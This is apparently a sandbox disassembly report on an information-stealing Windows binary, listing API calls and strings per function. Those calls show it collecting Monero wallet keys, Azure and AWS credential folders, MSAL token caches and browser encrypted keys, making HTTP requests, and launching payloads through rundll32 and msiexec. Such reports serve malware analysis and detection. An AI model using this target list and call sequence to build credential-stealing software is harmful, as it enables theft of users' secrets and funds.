Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 1ed6473c6f73e3a1497af0258b59ca819ea1493d05a808c79bdaac20c58a7a74
Instruction ID: bdc916cd8d5e4edccd75c0b6013fecb7d3ee548963346d7f0503740f3e685b47
Opcode Fuzzy Hash: 1ed6473c6f73e3a1497af0258b59ca819ea1493d05a808c79bdaac20c58a7a74
Instruction Fuzzy Hash: 2AE1F871911108ABCB88FBE0DD96EEE737ABF15301F10416AB507A6091DF35AE09CF66

Function 0069C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

Part of subcall function 006AA920: lstrcpy.KERNEL32(00000000,?), ref: 006AA972
Part of subcall function 006AA920: lstrcat.KERNEL32(00000000), ref: 006AA982

Part of subcall function 006AA8A0: lstrcpy.KERNEL32(?,006B0E17), ref: 006AA905

Part of subcall function 006AA9B0: lstrlen.KERNEL32(?,012691F0,?,\Monero\wallet.keys,006B0E17), ref: 006AA9C5
Part of subcall function 006AA9B0: lstrcpy.KERNEL32(00000000), ref: 006AAA04
Part of subcall function 006AA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006AAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0126E520,00000000,?,006B144C,00000000,?,?), ref: 0069CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0069CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0069CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0069CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0069CAD9
StrStrA.SHLWAPI(?,0126E4A8,006B0B52), ref: 0069CAF7
StrStrA.SHLWAPI(00000000,0126E5F8), ref: 0069CB1E
StrStrA.SHLWAPI(?,0126E690,00000000,?,006B1458,00000000,?,00000000,00000000,?,01268E80,00000000,?,006B1454,00000000,?), ref: 0069CCA2
StrStrA.SHLWAPI(00000000,0126E670), ref: 0069CCB9

Part of subcall function 0069C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0069C871
Part of subcall function 0069C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0069C87C

StrStrA.SHLWAPI(?,0126E670,00000000,?,006B145C,00000000,?,00000000,01268F00), ref: 0069CD5A
StrStrA.SHLWAPI(00000000,01269110), ref: 0069CD71

Part of subcall function 0069C820: lstrcat.KERNEL32(?,006B0B46), ref: 0069C943
Part of subcall function 0069C820: lstrcat.KERNEL32(?,006B0B47), ref: 0069C957
Part of subcall function 0069C820: lstrcat.KERNEL32(?,006B0B4E), ref: 0069C978

lstrlen.KERNEL32(00000000), ref: 0069CE44
CloseHandle.KERNEL32(00000000), ref: 0069CE9C

Strings

, xrefs: 0069C9C6

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 30dded79f7842c5bde37bff968bd509c72286896fdfa1f2b05d56d70213cacc1
Instruction ID: b40cdb7f6ab98f5cabb93014c4a8fa172af3b76a8bfe821a14013c4b0fe0f548
Opcode Fuzzy Hash: 30dded79f7842c5bde37bff968bd509c72286896fdfa1f2b05d56d70213cacc1
Instruction Fuzzy Hash: 4BE1F971911108ABDB88FBE0DC92EEEB77AAF15300F50415EF10666191EF346E4ACF69

Function 006A8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

RegOpenKeyExA.ADVAPI32(00000000,0126C058,00000000,00020019,00000000,006B05B6), ref: 006A83A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 006A8426
wsprintfA.USER32 ref: 006A8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 006A847B
RegCloseKey.ADVAPI32(00000000), ref: 006A848C
RegCloseKey.ADVAPI32(00000000), ref: 006A8499

Part of subcall function 006AA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006AA7E6

Strings

%s\%s, xrefs: 006A844D
- , xrefs: 006A85A3
?, xrefs: 006A837A

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 2b11265214b54593bc9a213b9092886ae27288dff94e492ec1fd11f57fe41f2d
Instruction ID: fadc0fbe4fe1e44b6edd13b6b4d1ef64e57e55f91ec3e90f31ecd1ecab1e8c42
Opcode Fuzzy Hash: 2b11265214b54593bc9a213b9092886ae27288dff94e492ec1fd11f57fe41f2d
Instruction Fuzzy Hash: CE811F719111189FEB68EB50CC95FEA77B9FF08700F108299E109A6180DF75AF85CF95

Function 006A4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006A8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 006A8E0B

lstrcat.KERNEL32(?,00000000), ref: 006A4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 006A4DCD

Part of subcall function 006A4910: wsprintfA.USER32 ref: 006A492C
Part of subcall function 006A4910: FindFirstFileA.KERNEL32(?,?), ref: 006A4943

lstrcat.KERNEL32(?,00000000), ref: 006A4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 006A4E59

Part of subcall function 006A4910: StrCmpCA.SHLWAPI(?,006B0FDC), ref: 006A4971
Part of subcall function 006A4910: StrCmpCA.SHLWAPI(?,006B0FE0), ref: 006A4987
Part of subcall function 006A4910: FindNextFileA.KERNEL32(000000FF,?), ref: 006A4B7D
Part of subcall function 006A4910: FindClose.KERNEL32(000000FF), ref: 006A4B92

lstrcat.KERNEL32(?,00000000), ref: 006A4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 006A4EE5

Part of subcall function 006A4910: wsprintfA.USER32 ref: 006A49B0
Part of subcall function 006A4910: StrCmpCA.SHLWAPI(?,006B08D2), ref: 006A49C5
Part of subcall function 006A4910: wsprintfA.USER32 ref: 006A49E2
Part of subcall function 006A4910: PathMatchSpecA.SHLWAPI(?,?), ref: 006A4A1E
Part of subcall function 006A4910: lstrcat.KERNEL32(?,0126F990), ref: 006A4A4A
Part of subcall function 006A4910: lstrcat.KERNEL32(?,006B0FF8), ref: 006A4A5C
Part of subcall function 006A4910: lstrcat.KERNEL32(?,?), ref: 006A4A70
Part of subcall function 006A4910: lstrcat.KERNEL32(?,006B0FFC), ref: 006A4A82
Part of subcall function 006A4910: lstrcat.KERNEL32(?,?), ref: 006A4A96
Part of subcall function 006A4910: CopyFileA.KERNEL32(?,?,00000001), ref: 006A4AAC
Part of subcall function 006A4910: DeleteFileA.KERNEL32(?), ref: 006A4B31

Strings

*.*, xrefs: 006A4E64
*.*, xrefs: 006A4DD8
Azure\.aws, xrefs: 006A4E5F
msal.cache, xrefs: 006A4EF0
\.IdentityService\, xrefs: 006A4ED9
\.azure\, xrefs: 006A4DC1
\.aws\, xrefs: 006A4E4D
Azure\.IdentityService, xrefs: 006A4EEB
Azure\.azure, xrefs: 006A4DD3

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 5ded770d55aea13f3d02be5a13f93cdd10ebbd19621a03937e94199eb8e9b4c8
Instruction ID: 95dbc7ee6eac6b6e5ab441f3d4a3ff7cc5fd36b0707314fa3923c326303eda7d
Opcode Fuzzy Hash: 5ded770d55aea13f3d02be5a13f93cdd10ebbd19621a03937e94199eb8e9b4c8
Instruction Fuzzy Hash: 3141E5BA94020867CB94F770EC57FEE3339AB25700F404558B645660C1EEB45BC9CB92

Function 006A9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 006A906C

Strings

image/jpeg, xrefs: 006A9136

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 6eedc87894d89ef17a04742f8429cb064e9c76a03fa72d4149122b0a036064e1
Instruction ID: d252a65544ac0f8cf958928352432320c436f6f4f657f158366db5422b8895e7
Opcode Fuzzy Hash: 6eedc87894d89ef17a04742f8429cb064e9c76a03fa72d4149122b0a036064e1
Instruction Fuzzy Hash: FE71EFB5910208ABDB08EFE4DD89FEEB7B9BF49700F208619F515A7290DB349905CF61

Function 006A2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

ShellExecuteEx.SHELL32(0000003C), ref: 006A31C5
ShellExecuteEx.SHELL32(0000003C), ref: 006A335D
ShellExecuteEx.SHELL32(0000003C), ref: 006A34EA

Strings

.msi, xrefs: 006A3398
/i ", xrefs: 006A33E4
C:\Windows\system32\rundll32.exe, xrefs: 006A3332
<, xrefs: 006A3490
C:\Windows\system32\msiexec.exe, xrefs: 006A34BF
/passive, xrefs: 006A345B
"" , xrefs: 006A309A
.dll, xrefs: 006A31E5

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: c1e694ef7772747fd3d1c0c162d6ef3a70b02ba35c5474f84cad56e763ec0070
Instruction ID: 277d234c00d6db6b5e484594ab40a673fc0bbb239ad60033b4e4f0390cfbfc4c
Opcode Fuzzy Hash: c1e694ef7772747fd3d1c0c162d6ef3a70b02ba35c5474f84cad56e763ec0070
Instruction Fuzzy Hash: 0612ED718101089ADB89FBE0DC92EEEB77AAF15300F50415EF50666192EF346F4ACF5A

Function 006A52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006AA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006AA7E6

Part of subcall function 00696280: InternetOpenA.WININET(006B0DFE,00000001,00000000,00000000,00000000), ref: 006962E1
Part of subcall function 00696280: StrCmpCA.SHLWAPI(?,0126FA00), ref: 00696303
Part of subcall function 00696280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00696335
Part of subcall function 00696280: HttpOpenRequestA.WININET(00000000,GET,?,0126F1C0,00000000,00000000,00400100,00000000), ref: 00696385
Part of subcall function 00696280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006963BF
Part of subcall function 00696280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006963D1

Part of subcall function 006AA8A0: lstrcpy.KERNEL32(?,006B0E17), ref: 006AA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 006A5318
lstrlen.KERNEL32(00000000), ref: 006A532F

Part of subcall function 006A8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 006A8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 006A5364
lstrlen.KERNEL32(00000000), ref: 006A5383
lstrlen.KERNEL32(00000000), ref: 006A53AE

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

Strings

ERROR, xrefs: 006A5432
ERROR, xrefs: 006A53B9
ERROR, xrefs: 006A546F
ERROR, xrefs: 006A54A9
ERROR, xrefs: 006A530A

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: d14bb9bfaa14d7c4ae7e94d288abad96c098878f6538f754dcc917ea1f6a337b
Instruction ID: b9d74ebf1c058a32c689acbd6461740430be0a4882e8e1e2bdfd0bd540779723
Opcode Fuzzy Hash: d14bb9bfaa14d7c4ae7e94d288abad96c098878f6538f754dcc917ea1f6a337b
Instruction Fuzzy Hash: 29510C709111489BCB98FFA0C992AEE777AAF12301F50401DF9075A591DF34AF46CF66

Function 006A12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: c10f1478afc6c3aae87ce0f4f14b1e9955f1d058e3e18149da59aff646d348c8
Instruction ID: 91223af96eb14f62322632c25ba0b2ec5a67ebcdd49790cfc1f391ba89cafcb7
Opcode Fuzzy Hash: c10f1478afc6c3aae87ce0f4f14b1e9955f1d058e3e18149da59aff646d348c8
Instruction Fuzzy Hash: 67C1B3B59011089BCB58FFA0DC89FEA777ABF55300F10459DE50AA7241EB30AE85CF95

Function 006A4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006A8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 006A8E0B

lstrcat.KERNEL32(?,00000000), ref: 006A42EC
lstrcat.KERNEL32(?,0126F580), ref: 006A430B
lstrcat.KERNEL32(?,?), ref: 006A431F
lstrcat.KERNEL32(?,0126E5E0), ref: 006A4333

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

Part of subcall function 006A8D90: GetFileAttributesA.KERNEL32(00000000,?,00691B54,?,?,006B564C,?,?,006B0E1F), ref: 006A8D9F

Part of subcall function 00699CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00699D39

Part of subcall function 006999C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006999EC
Part of subcall function 006999C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00699A11
Part of subcall function 006999C0: LocalAlloc.KERNEL32(00000040,?), ref: 00699A31
Part of subcall function 006999C0: ReadFile.KERNEL32(000000FF,?,00000000,0069148F,00000000), ref: 00699A5A
Part of subcall function 006999C0: LocalFree.KERNEL32(0069148F), ref: 00699A90
Part of subcall function 006999C0: CloseHandle.KERNEL32(000000FF), ref: 00699A9A

Part of subcall function 006A93C0: GlobalAlloc.KERNEL32(00000000,006A43DD,006A43DD), ref: 006A93D3

StrStrA.SHLWAPI(?,0126F658), ref: 006A43F3
GlobalFree.KERNEL32(?), ref: 006A4512

Part of subcall function 00699AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Ni,00000000,00000000), ref: 00699AEF
Part of subcall function 00699AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00694EEE,00000000,?), ref: 00699B01
Part of subcall function 00699AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Ni,00000000,00000000), ref: 00699B2A
Part of subcall function 00699AC0: LocalFree.KERNEL32(?,?,?,?,00694EEE,00000000,?), ref: 00699B3F

lstrcat.KERNEL32(?,00000000), ref: 006A44A3
StrCmpCA.SHLWAPI(?,006B08D1), ref: 006A44C0
lstrcat.KERNEL32(00000000,00000000), ref: 006A44D2
lstrcat.KERNEL32(00000000,?), ref: 006A44E5
lstrcat.KERNEL32(00000000,006B0FB8), ref: 006A44F4

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 410a6937c5537eeca110dc68e09a7e5514c565f48e719a1b98c88fc9aa847831
Instruction ID: c57efa390a197b70e763b0f850d85a44cb7bf272a70a5982262b18324e70ddf5
